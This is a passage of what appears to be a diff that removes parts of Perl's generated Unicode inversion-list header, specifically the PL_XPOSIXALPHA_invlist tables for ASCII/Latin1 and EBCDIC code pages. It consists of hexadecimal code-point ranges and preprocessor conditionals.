0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_XPOSIXALPHA_invlist[] = { /* for ASCII/Latin1 */ - 1321, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x5B, - 0x61, - 0x7B, - 0xAA, - 0xAB, - 0xB5, - 0xB6, - 0xBA, - 0xBB, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x345, - 0x346, - 0x370, - 0x375, - 0x376, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x5B0, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x610, - 0x61B, - 0x620, - 0x658, - 0x659, - 0x660, - 0x66E, - 0x6D4, - 0x6D5, - 0x6DD, - 0x6E1, - 0x6E9, - 0x6ED, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x740, - 0x74D, - 0x7B2, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x818, - 0x81A, - 0x82D, - 0x840, - 0x859, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E0, - 0x8E3, - 0x8EA, - 0x8F0, - 0x93C, - 0x93D, - 0x94D, - 0x94E, - 0x951, - 0x955, - 0x964, - 0x971, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CD, - 0x9CE, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9F0, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4D, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA70, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACD, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAF9, - 0xAFD, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4D, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB71, - 0xB72, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCD, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4D, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC80, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCD, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4D, - 0xD4E, - 0xD4F, - 0xD54, - 0xD58, - 0xD5F, - 0xD64, - 0xD7A, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDF2, - 0xDF4, - 0xE01, - 0xE3B, - 0xE40, - 0xE47, - 0xE4D, - 0xE4E, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xECD, - 0xECE, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF82, - 0xF88, - 0xF98, - 0xF99, - 0xFBD, - 0x1000, - 0x1037, - 0x1038, - 0x1039, - 0x103B, - 0x1040, - 0x1050, - 0x1063, - 0x1065, - 0x1069, - 0x106E, - 0x1087, - 0x108E, - 0x108F, - 0x109C, - 0x109E, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135F, - 0x1360, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1714, - 0x1720, - 0x1734, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17B4, - 0x17B6, - 0x17C9, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DD, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x1939, - 0x1950, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x1A00, - 0x1A1C, - 0x1A20, - 0x1A5F, - 0x1A61, - 0x1A75, - 0x1AA7, - 0x1AA8, - 0x1B00, - 0x1B34, - 0x1B35, - 0x1B44, - 0x1B45, - 0x1B4C, - 0x1B80, - 0x1BAA, - 0x1BAC, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1BE7, - 0x1BF2, - 0x1C00, - 0x1C36, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF7, - 0x1D00, - 0x1DC0, - 0x1DE7, - 0x1DF5, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x24B6, - 0x24EA, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E00, - 0x2E2F, - 0x2E30, - 0x3005, - 0x3008, - 0x3021, - 0x302A, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA640, - 0xA66F, - 0xA674, - 0xA67C, - 0xA67F, - 0xA6F0, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA828, - 0xA840, - 0xA874, - 0xA880, - 0xA8C4, - 0xA8C5, - 0xA8C6, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA90A, - 0xA92B, - 0xA930, - 0xA953, - 0xA960, - 0xA97D, - 0xA980, - 0xA9B3, - 0xA9B4, - 0xA9C0, - 0xA9CF, - 0xA9D0, - 0xA9E0, - 0xA9E5, - 0xA9E6, - 0xA9F0, - 0xA9FA, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAABF, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAF0, - 0xAAF2, - 0xAAF6, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABEB, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11000, - 0x11046, - 0x11082, - 0x110B9, - 0x110D0, - 0x110E9, - 0x11100, - 0x11133, - 0x11150, - 0x11173, - 0x11176, - 0x11177, - 0x11180, - 0x111C0, - 0x111C1, - 0x111C5, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x11235, - 0x11237, - 0x11238, - 0x1123E, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112E9, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134D, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11400, - 0x11442, - 0x11443, - 0x11446, - 0x11447, - 0x1144B, - 0x11480, - 0x114C2, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x11580, - 0x115B6, - 0x115B8, - 0x115BF, - 0x115D8, - 0x115DE, - 0x11600, - 0x1163F, - 0x11640, - 0x11641, - 0x11644, - 0x11645, - 0x11680, - 0x116B6, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172B, - 0x118A0, - 0x118E0, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A33, - 0x11A35, - 0x11A3F, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A98, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C3F, - 0x11C40, - 0x11C41, - 0x11C72, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D42, - 0x11D43, - 0x11D44, - 0x11D46, - 0x11D48, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16AD0, - 0x16AEE, - 0x16B00, - 0x16B37, - 0x16B40, - 0x16B44, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9E, - 0x1BC9F, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E900, - 0x1E944, - 0x1E947, - 0x1E948, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XPOSIXALPHA_invlist[] = { /* for EBCDIC 1047 */ - 1347, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xBA, - 0xBB, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x345, - 0x346, - 0x370, - 0x375, - 0x376, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x5B0, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x610, - 0x61B, - 0x620, - 0x658, - 0x659, - 0x660, - 0x66E, - 0x6D4, - 0x6D5, - 0x6DD, - 0x6E1, - 0x6E9, - 0x6ED, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x740, - 0x74D, - 0x7B2, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x818, - 0x81A, - 0x82D, - 0x840, - 0x859, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E0, - 0x8E3, - 0x8EA, - 0x8F0, - 0x93C, - 0x93D, - 0x94D, - 0x94E, - 0x951, - 0x955, - 0x964, - 0x971, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CD, - 0x9CE, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9F0, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4D, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA70, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACD, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAF9, - 0xAFD, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4D, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB71, - 0xB72, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCD, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4D, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC80, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCD, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4D, - 0xD4E, - 0xD4F, - 0xD54, - 0xD58, - 0xD5F, - 0xD64, - 0xD7A, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDF2, - 0xDF4, - 0xE01, - 0xE3B, - 0xE40, - 0xE47, - 0xE4D, - 0xE4E, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xECD, - 0xECE, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF82, - 0xF88, - 0xF98, - 0xF99, - 0xFBD, - 0x1000, - 0x1037, - 0x1038, - 0x1039, - 0x103B, - 0x1040, - 0x1050, - 0x1063, - 0x1065, - 0x1069, - 0x106E, - 0x1087, - 0x108E, - 0x108F, - 0x109C, - 0x109E, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 